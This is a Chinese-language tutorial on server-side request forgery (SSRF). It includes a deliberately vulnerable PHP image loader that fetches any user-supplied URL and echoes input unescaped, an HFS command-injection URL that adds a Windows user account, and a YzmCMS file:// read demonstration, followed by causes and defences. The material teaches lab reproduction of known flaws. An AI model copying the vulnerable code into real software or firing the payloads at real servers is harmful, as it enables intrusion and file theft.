进阶篇 10. SSRF漏洞

150 阅读1分钟

1. SSRF简介与危害

  • 定义与特点
    • SSRF(Server-Side Request Forgery,服务器请求伪造)
    • 针对内网服务的攻击

2. SSRF危害

  • 端口扫描
  • 内网Web应用指纹识别
  • 攻击内外Web应用
  • 读取本地文件

3.原理展示

4.实战复现

  • 自建环境

    • 新建 ssrf.php
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
            <head>
                    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
                    <title>SSRF</title>
            </head>
            <body>
                    <h1>远程图片加载器</h1>
                    <form action="" method="POST">
                            请输入图片地址:
                            <input type='text' value="<?php echo $_POST['url'];?>" name='url'><input type='submit' value="提交">
                    </form>
            </body>
            <?php
                    $_POST['url'];
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, $_POST['url']);
                    curl_setopt($ch, CURLOPT_HEADER, false);
                    echo curl_exec($ch);//低版本php不用加 echo
                    curl_close($ch);
            ?>
    
  • HFS漏洞

    • HFS是HTTP File Server, 一款 HTTP 文件服务器软件
    • 打开服务 image.png
    • 测试服务 image.png
    • 攻击脚本

    http://192.168.239.129:8080/?search=%00{.exec|cmd.exe /c net user test1234 1234 /add.}
    image.png

    • 结果展示 image.png
  • YzmCMS漏洞

    • 搭建环境
    • 构建漏洞文件 ssrf.html 放到网站根目录
    <ssrf>
        <a href="file://D:\soft\phpstudy_pro\WWW\yzmcms-5.3.0\ssrf.txt">ssrf demo</a>
    </ssrf>
    
    • 构建要读取文件 ssrf.txt 放在靶机服务器任意位置,这里放到根目录

    abcdef ssrf

    • 新增采集任务
      image.png
    • 测试 image.png

5. SSRF成因与防御

  • 成因分析
    • 服务端功能设计不当,提供了获取其它服务器数据的功能且没有对目标地址进行过滤和限制
  • 防御措施
    • 参数检查与过滤,不允许内网段IP操作
    • 限制协议类型为http、https,禁止file:// ,ftp://
    • 统一错误信息,统一返回的信息,避免根据错误信息来判断端口状态
    • 过滤返回信息,验证远程服务器对请求的响应